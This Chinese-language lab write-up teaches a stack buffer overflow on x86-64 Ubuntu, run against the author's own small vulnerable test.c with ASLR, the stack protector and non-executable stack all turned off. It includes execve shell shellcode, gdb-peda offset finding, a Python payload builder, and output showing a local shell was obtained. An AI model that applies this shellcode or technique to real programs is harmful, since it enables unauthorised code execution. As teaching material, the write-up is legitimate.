overflow

this is a test, not true

0x00准备

  • 本次实验的机器为Ubuntu 16.04.2 LTS64位系统

  • 需要关闭ASLR,echo 0 > /proc/sys/kernel/randomize_va_space,如果提示权限不够,可能需要用su提升权限

  • gcc编译需要关闭stack-protector,允许栈的执行权限execstack

  • 需要gdb peda python2

  • 需要一串shellcode,本次使用

    \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

  • 一段计算地址的c语言程序getenvaddr,源码在github可以找到,也可以选择下面的编译

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int main(int argc, char *argv[]) {
    char *ptr;
    if (argc < 3) {
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
    } else {
    ptr = getenv(argv[1]); /* Get environment variable location */
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; /* Adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr);
    }
    return 0;
    }
  • 攻击目标test.c,自己写的很简单

    1
    2
    3
    4
    5
    6
    7
    8
    #include<stdio.h>
    #include<unistd.h>
    int main(){
    char buf[10];
    read(0,buf,40);
    puts("23333\n");
    return 0;
    }

0x01分析

通过观察很容易发现程序存在溢出漏洞,字符数组buf只申请了10个字节(10×1)的空间,而read函数却读入了40个字节。使用gcc -g -fno-stack-protector -z execstack -o test test.c编译源文件,用gdb调试程序

查看main函数处的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000000000400566 <+0>: push rbp ;rbp入栈,保存堆栈帧
0x0000000000400567 <+1>: mov rbp,rsp ;rsp存到rbp中,确定了新的堆栈帧
0x000000000040056a <+4>: sub rsp,0x10 ;rsp减16,栈顶变动,为buf开辟了栈空间
0x000000000040056e <+8>: lea rax,[rbp-0x10] ;将栈顶的地址存到rax中
0x0000000000400572 <+12>: mov edx,0x28 ;将40存到edx中
0x0000000000400577 <+17>: mov rsi,rax ;传递栈顶地址,rsi存储buf的开始地址
0x000000000040057a <+20>: mov edi,0x0 ;将0存到edi中
0x000000000040057f <+25>: call 0x400440 <read@plt> ;调用read函数
0x0000000000400584 <+30>: mov edi,0x400624
0x0000000000400589 <+35>: call 0x400430 <puts@plt>
0x000000000040058e <+40>: mov eax,0x0
0x0000000000400593 <+45>: leave
0x0000000000400594 <+46>: ret
End of assembler dump.

程序执行到调用read函数,call指令会将下条指令的地址入栈,也就是0x400584,作为返回地址,然后将程序控制权交给read函数。

下面这张图是一般函数栈的构造:

这里栈内大概是这个样子:

1
2
3
4
5
6
rbp					<- 高地址
[] ;空处4字节
buf[9]-buf[8] ;空出2字节
buf[7]-buf[4]
buf[3]-buf[0]
0x400584 <- 低地址

然后read函数读入数据,程序给buf变量实际分配了16字节,为了寻址的方便还有一部分作为保留,一定程度上避免了溢出的发生。

尝试输入32字节的数据0123456789abcdef0123456789abcdef

1
2
3
4
5
gdb-peda$ run
0123456789abcdef0123456789abcdef
23333

Program received signal SIGSEGV, Segmentation fault.

程序发生了溢出,并且停在了ret指令处,很容易发现rsprbp处的值似乎都被输入覆盖了。

所以read读取完发生了什么?此时栈相当于:

1
2
3
4
5
6
7
0x400584				;返回地址  	 <- 高地址
rbp(main)
... <-rbp
...
{buf
...
...} <-rsp <- 低地址

函数需要返回,有一条leave指令,将rbp拷贝到rsp中,相当于清除了为局部变量分配的空间,此时栈相当于:

1
2
3
0x400584				;返回地址  	  <- 高地址
rbp(main)
<-rbp,rsp <- 低地址

leave指令还有一个作用是弹栈,即将栈顶的数据弹出到ebp中,也就恢复了main函数的堆栈帧,此时栈相当于:

1
2
0x400584				;返回地址  	  <- 高地址
<-rsp <- 低地址

接下来,有一条ret指令,弹栈,即将栈顶的数据弹出到rip中,因为rip存储的是当前指令的地址,也就是将返回地址存入了下一个指令的地址,达到了控制权从read函数到main函数的目的。

这时,思路就很清晰了,只需要合适的数据将返回地址覆盖,程序就会跳转到合适的地方。

0x02确定返回地址的偏移量

首先,我们需要确定输入到达返回地址所需字节数。

可以使用pedapattern_creat创造一个40字节的字符串:

1
2
gdb-peda$ pattern_create 40 a.txt
Writing pattern of 40 chars to filename "a.txt"

将字符串传入并执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ r < a.txt
Starting program: /home/void0red/Documents/pwn/test < a.txt
23333

Program received signal SIGSEGV, Segmentation fault.
[-------------------------------------code-------------------------------------]
0x400589 <main+35>: call 0x400430 <puts@plt>
0x40058e <main+40>: mov eax,0x0
0x400593 <main+45>: leave
=> 0x400594 <main+46>: ret
0x400595: nop WORD PTR cs:[rax+rax*1+0x0]
0x40059f: nop
0x4005a0 <__libc_csu_init>: push r15
0x4005a2 <__libc_csu_init+2>: push r14

程序停在了ret指令的地方,因为覆盖返回地址的是一串无意义的值,无法进行跳转,上一步操作将rbp(寄存器)的值拷贝到rsp(寄存器)中,导致rsp指向了存储返回地址的栈空间,通过查看rsp指向的栈的数据,可以算出返回地址在栈中,相距未读入数据时栈顶的偏移量。

1
2
gdb-peda$ x/wx $rsp
0x7fffffffdd08: 0x44414128

可以看出原本存放返回地址的的栈上现在存放的是0x44414128

pattern_offest计算偏移量

1
2
gdb-peda$ pattern_offset 0x44414128
1145127208 found at offset: 24

OK,偏移量为24,也就是说输入值的前24个字节是任意的(注意不要存在\x00之类的字节,可能会导致读入终止),接在后面存入8个字节的地址,就能够实现跳转。

0x03确定shellcode的地址

因为选择的shellcode地址为27字节,前面的填充数据要用24字节,合起来超过40字节,无法写入,不如将包含shellcode的指令放入系统环境,用于测试

1
export PWN=`python -c 'print"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

getenvaddr来确定PWN变量对test输入的地址

1
2
3
$ export PWN=`python -c 'print"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`
$ ./getenvaddr PWN ./test
PWN will be at 0x7fffffffed03

得到地址0x7fffffffed03

0x04编写Payload

用python的struct模块写payload的话很方便

1
2
3
4
5
from struct import *
buf = 'A' * 24 + pack('<Q',0x7fffffffed03)
f = open('a.txt', 'w')
f.write(buf)
f.close()

pack函数用来处理数据很方便:)

pack(format,var0,var1...)按照给定的格式(format),把后面数据封装成字符串,<是按照小端序,Q是无符号的八字节整数

0x05测试

通过管道的方式输入文件的数据

1
2
3
4
5
$ (cat a.txt;cat)|./test
23333

whoami
void0red

经过测试,确实的得到了shell

0x06总结

主要是搞清楚函数调用与返回时栈的变化,测试过程中关闭了防护措施

  • ASLR
  • stack-protector
  • execstack